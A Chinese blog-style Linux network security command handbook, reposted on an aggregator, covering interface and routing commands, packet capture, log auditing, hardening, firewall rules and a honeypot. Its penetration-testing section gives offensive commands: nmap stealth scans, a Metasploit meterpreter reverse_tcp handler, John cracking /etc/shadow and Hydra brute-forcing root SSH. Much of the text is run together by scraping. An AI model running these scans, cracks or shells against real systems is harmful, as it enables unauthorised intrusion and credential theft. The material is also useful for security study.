【操作系统安全】任务3:Linux 网络安全实战命令手册

目录

一、基础网络信息获取

1. 网络接口配置

2. 路由表管理

3. 服务端口监控

二、网络监控与分析

1. 实时流量监控

2. 数据包捕获

3. 网络协议分析

三、渗透测试工具集

1. 端口扫描

2. 漏洞利用

3. 密码破解

四、日志审计与分析

1. 系统日志处理

2. 入侵检测

3. 日志分析工具

五、权限管理与加固

1. 文件权限控制

2. 用户管理

3. 防火墙配置

六、自动化脚本实践

1. 网络巡检脚本

2. 日志监控报警

七、高级安全实践

1. 蜜罐部署

2. 网络流量镜像

八、学习资源推荐

注意事项

CSDN 原创主页:不羁https://blog.csdn.net/2303_76492156?type=blog


编写日期:2025 年 03 月 17 日

一、基础网络信息获取

1. 网络接口配置

# 查看所有网络接口状态(替代ifconfig)
ip addr show# 激活/禁用网络接口
sudo ip link set dev eth0 up
sudo ip link set dev eth0 down# 设置静态IP地址(CentOS 8+)
sudo nmcli connection modify eth0 ipv4.addresses "192.168.1.100/24"
sudo nmcli connection modify eth0 ipv4.gateway "192.168.1.1"
sudo nmcli connection modify eth0 ipv4.dns "8.8.8.8"
sudo nmcli connection up eth0

在 Ubuntu 中检查你的 IP 地址(终端方式)

检查 IP 地址的最快和最简单的方法是使用 命令。你可以按以下方式使用此命令:

ip addr show

它将同时显示 IPv4 和 IPv6 地址:

实际上,你可以进一步缩短这个命令 :

ip a   #它会给你完全相同的结果。

如果你希望获得最少的细节,也可以使用 :

hostname -I

还有一在 Linux 中检查 IP 地址的方法,但是这两个命令足以满足这个目的。

使用ifconfig查询IP地址如何呢?

老用户可能会想要使用 (ifconfig网络工具软件包的一部分),但该程序已被弃用。一些较新的 Linux 发行版不再包含此软件包,如果你尝试运行它,你将看到 ifconfig 命令未找到的错误。详情了解: 放弃 ifconfig,拥抱 ip 命令 | Linux 中国

但实际上ifconfig这个软件包相较而言,对于大多数用户的使用更为熟悉与便捷,时至今日仍被大家广泛使用。

2. 路由表管理

# 查看路由表
ip route show# 添加静态路由
sudo ip route add 10.0.0.0/24 via 192.168.1.1# 删除路由
sudo ip route del 10.0.0.0/24

3. 服务端口监控

使用前,需“ sudo apt install net-tools ” 。

# 查看所有TCP连接
netstat -tunap# 查看指定端口占用
lsof -i :80# 更高效的替代方案(推荐)
ss -tunelp | grep 80

二、网络监控与分析

1. 实时流量监控

使用前,需“ sudo apt install iftop ” 。

# 实时显示网络带宽使用情况
iftop -P# 监控指定接口流量
nload eth0# 流量统计(MB单位)
vnstat -i eth0 -h

2. 数据包捕获

# 基本抓包(抓取eth0接口80端口的HTTP流量)
tcpdump -i eth0 port 80 -n -tttt# 保存数据包到文件
tcpdump -i eth0 -w capture.pcap port 443# 过滤并显示特定协议
tcpdump -i eth0 'tcp port 80 and (tcp[13] & 0x18) != 0'

3. 网络协议分析

# 分析HTTP请求头部
tshark -r capture.pcap -Y "http.request" -T fields -e http.request.method -e http.request.uri# 解析DNS查询
driftnet -i eth0 -a  # 实时捕获网络图片

三、渗透测试工具集

1. 端口扫描

# 全端口扫描(SYN半开扫描)
nmap -sS -p- -T4 -v 192.168.1.100# 服务版本探测
nmap -sV -A 192.168.1.100# 隐蔽扫描(FIN扫描)
nmap -sF -p 22,80,443 192.168.1.100

2. 漏洞利用

# Metasploit框架基础使用
msfconsole
msf > use exploit/multi/handler
msf > set payload linux/x86/meterpreter/reverse_tcp
msf > set LHOST 192.168.1.101
msf > exploit

3. 密码破解

# 离线破解shadow文件
john --wordlist=/usr/share/wordlists/rockyou.txt /etc/shadow# 暴力破解SSH
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100

四、日志审计与分析

1. 系统日志处理

# 实时监控安全日志
tail -f /var/log/secure# 查找登录失败记录
grep "Failed password" /var/log/secure | awk '{print $11}' | sort | uniq -c# 统计访问量前10的IP
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -nr | head -n 10

2. 入侵检测

# 查找异常SUID文件
find / -type f -perm -4000 2>/dev/null# 检查隐藏进程
ps -eo pid,ppid,user,%mem,%cpu,command | grep -v 'grep' | awk '!/bash|sshd|systemd/'

3. 日志分析工具

# 分析Apache日志
logwatch --service httpd --detail high# 生成安全审计报告
aide --check

五、权限管理与加固

1. 文件权限控制

# 设置文件权限(rwxr-x---)
chmod 750 /var/www/html/secret.txt# 递归修改目录权限
chmod -R 755 /var/www/# 查看文件ACL权限
getfacl /etc/shadow

2. 用户管理

# 创建受限用户
useradd -m -s /sbin/nologin -c "Restricted User" restricted_user# 查看sudo权限
sudo -l# 禁止root远程登录
sed -i 's/^PermitRootLogin.*/PermitRootLogin no/' /etc/ssh/sshd_config

3. 防火墙配置

# UFW基础操作(Ubuntu)
sudo ufw allow 22/tcp
sudo ufw allow 80/tcp
sudo ufw allow 443/tcp
sudo ufw enable# iptables高级规则
sudo iptables -A INPUT -p tcp --dport 80 -m state --state NEW,ESTABLISHED -j ACCEPT
sudo iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT

六、自动化脚本实践

1. 网络巡检脚本

#!/bin/bash
# 检查开放端口
echo "开放端口检查:"
ss -tunelp | grep -v 'Foreign Address'# 检查SUID文件
echo -e "\n异常SUID文件:"
find / -type f -perm -4000 2>/dev/null# 检查root用户进程
echo -e "\nRoot进程列表:"
ps -eo pid,ppid,user,%mem,%cpu,command | grep root

2. 日志监控报警

#!/bin/bash
LOG_FILE="/var/log/secure"
SEARCH_TERM="Failed password"while true; doCOUNT=$(grep -c "$SEARCH_TERM" "$LOG_FILE")if [ "$COUNT" -gt 10 ]; thenecho "警告:发现异常登录尝试!" | mail -s "Security Alert" admin@example.comfisleep 60
done

七、高级安全实践

1. 蜜罐部署

# 安装Honeyd
sudo apt-get install honeyd# 配置蜜罐
sudo nano /etc/honeyd/honeyd.conf
# 添加虚拟主机配置
create dummy
set dummy default tcp action reset
set dummy default udp action reset
add dummy tcp port 22

2. 网络流量镜像

# 配置端口镜像(需要交换机支持)
sudo tc qdisc add dev eth0 ingress
sudo tc filter add dev eth0 parent ffff: protocol ip u32 match u32 0 0 action mirred egress redirect dev eth1

八、学习资源推荐

  1. 官方文档:Linux man pages
  2. 命令速查:tldr-pages
  3. 实战社区:Hacker News

注意事项

  1. 执行敏感命令前需确认权限
  2. 定期更新系统和工具
  3. 保留操作日志以备审计
  4. 测试环境与生产环境严格隔离

本手册涵盖了 Linux 网络安全领域的核心命令,建议结合实际场景进行练习。掌握这些工具将显著提升网络安全运维和渗透测试能力。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/39756.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2024年MathorCup数学建模A题移动通信网络中PCI规划问题解题全过程文档加程序

2024年第十四届MathorCup高校数学建模挑战赛 A题 移动通信网络中PCI规划问题 原题再现: 物理小区识别码(PCI)规划是移动通信网络中下行链路层上,对各覆盖小区编号进行合理配置,以避免PCI冲突、PCI混淆以及PCI模3干扰等现象。PCI规划对于减少…

Spring安装和使用(Eclipse环境)

一、Spring框架概述 1、 什么是Spring Spring是一个开源框架,Spring是于2003 年兴起的一个轻量级的Java 开发框架,由Rod Johnson 在其著作Expert One-On-One J2EE Development and Design中阐述的部分理念和原型衍生而来。它是为了解决企业应用开发的复…

【Android Studio开发】生命周期、Activity和组件通信(上)

零、前期配置 1.【Android】模式 2.点击【运行】,弹出模拟器 右侧是模拟机,显示Hello World 3. 打开【activity_main.xml】文件,点击【Design】,然后点击【Component Tree】 在弹出的Component Tree中右键【main】,选择【Conver…

bug:uni-file-picker上传图片报错,文件选择器对话框只能在由用户激活时显示,跨域cors

uni-file-picker上传图片报错,文件选择器对话框只能在由用户激活时显示,跨域has been blocked by CORS policy 参考文档 解决方案:在云服务空间配置localhost跨域

Python学习笔记(6)

Python学习笔记(6) 第13节课 函数基础1.函数定义与调用2.函数的返回值3.局部变量与全局变量 第13节课 函数基础 对于任何一个知识点,必须讨论的三个问题: (1)它是啥 (2)为啥有它 …

RISC-V AIA学习2---IMSIC

我在学习文档这章时,对技术术语不太理解,所以用比较恰当的比喻来让自己更好的理解。 比较通俗的理解: 将 RISC-V 系统比作一个工厂: hart → 工厂的一条独立生产线IMSIC → 每条生产线配备的「订单接收员」MSI 中断 → 客户通过…

目标检测20年(一)

今天看的文献是《Object Detection in 20 Years: A Survey》,非常经典的一篇目标检测文献,希望通过这篇文章学习到目标检测的基础方法并提供一些创新思想。 论文链接:1905.05055 目录 一、摘要 1.1 原文 1.2 翻译 二、介绍 三、目标检测…

AI Agent开发大全第八课-Stable Diffusion 3的本地安装全步骤

前言 就像我们前面几课所述,本系列是一门体系化的教学,它不像网上很多个别存在的单篇博客走“吃快餐”模式,而是从扎实的基础来带领大家一步步迈向AI开发高手。所以我们的AI课程设置是相当全面的,除了有牢固的基础知识外还有外面互联网上也搜不到的生产级实战。 前面讲过…

Hadoop集群搭建(hdfs、yarn)

Hadoop 是 Apache 软件基金会旗下的一个开源项目,是用于处理大数据的分布式系统基础架构,被广泛应用于大数据存储、处理和分析等场景。 一、核心组件 1、Hadoop 分布式文件系统(HDFS) 具有高容错性,能在低成本硬件上…

数据结构——顺序栈seq_stack

前言:大家好😍,本文主要介绍了数据结构——顺序栈 目录 一、概念 1.1 顺序栈的基本概念 1.2 顺序栈的存储结构 二、基本操作 2.1 结构体定义 2.2 初始化 2.3 判空 2.4 判满 2.5 扩容 2.6 插入 入栈 2.7 删除 出栈 2.8 获取栈顶元…

数据结构初阶-二叉树的应用

1.单值二叉树 题目链接:https://leetcode.cn/problems/univalued-binary-tree/description/ 题目思路:我们把根结点与左孩子和右孩子进行比较,只有左右子树都是单值二叉树的时候才为单值二叉树。但是我们需要先返回的是false,最…

【网络层协议】NAT技术内网穿透

IP地址数量限制 我们知道,IP地址(IPv4)是一个4字节32位的整数,那么一共只有2^32也就是接近43亿个IP地址,而TCP/IP协议栈规定,每台主机只能有一个IP地址,这就意味着,一共只有不到43亿…

快速入手-基于Django的mysql配置(三)

Django开发操作数据库更简单,内部提供了ORM框架。比如mysql,旧版本用pymysql对比较多,新的版本采用mysqlclient。 1、安装mysql模块 pip install mysqlclient 2、Django的ORM主要做了两件事 (1)CRUD数据库中的表&am…

ETL:数据清洗、规范化和聚合的重要性

在当今这个数据呈爆炸式增长的时代,数据已成为企业最为宝贵的资产之一。然而,数据的海量增长也伴随着诸多问题,如数据来源多样、结构复杂以及质量问题等,这些问题严重阻碍了数据的有效处理与深度分析。在此背景下,ETL&…

【leetcode hot 100 208】实现Trie(前缀树)

解法一:字典树 Trie,又称前缀树或字典树,是一棵有根树,其每个节点包含以下字段: 指向子节点的指针数组 children。对于本题而言,数组长度为 26,即小写英文字母的数量。此时 children[0] 对应小…

PyTorch生成式人工智能实战:从零打造创意引擎

PyTorch生成式人工智能实战:从零打造创意引擎 0. 前言1. 生成式人工智能1.1 生成式人工智能简介1.2 生成式人工智能技术 2. Python 与 PyTorch2.1 Python 编程语言2.2 PyTorch 深度学习库 3. 生成对抗网络3.1 生成对抗网络概述3.2 生成对抗网络应用 4. Transformer4…

vue中上传接口file表单提交二进制文件流

1.使用elementui上传组件 要做一个选择文件后&#xff0c;先不上传&#xff0c;等最后点击确定后&#xff0c;把file二进制流及附加参数一起提交上去。 首先使用elementui中的上传组件&#xff0c;设置auto-uploadfalse&#xff0c;也就是选择文件后不立刻上传。 <el-uplo…

深入解析 Java Stream API:筛选根节点的优雅实现!!!

&#x1f680; 深入解析 Java Stream API&#xff1a;筛选根节点的优雅实现 &#x1f527; 大家好&#xff01;&#x1f44b; 今天我们来聊聊 Java 8 中一个非常常见的操作&#xff1a;使用 Stream API 从 List 中筛选出特定条件的元素。&#x1f389; 具体来说&#xff0c;我…

推荐1款简洁、小巧的实用收音机软件,支持手机和电脑

聊一聊 没想到现在还有人喜欢听广播。 我一直以为听广播必须要用那种小广播机才可以。 原来手机或电脑上也是可以的。 今天给大家分享一款可以在电脑和手机上听广播的软件。 软件介绍 龙卷风收音机 电台广播收音机分电脑和手机两个版本。 电脑端无需安装&#xff0c;下载…

金桔网桥路由版3

上一集我们讲到了二层云交换机&#xff0c;我把在云上搭建的桥接模式的VPN服务器称为二层云交换机。 那么现在我家到办公室的网络结构就变成这样的&#xff0c; 这样的好处就是我的电视盒子通过网线看电视&#xff0c;走的是OpenWrt路由器通过二层云交换机由办公室的OpenWrt路由…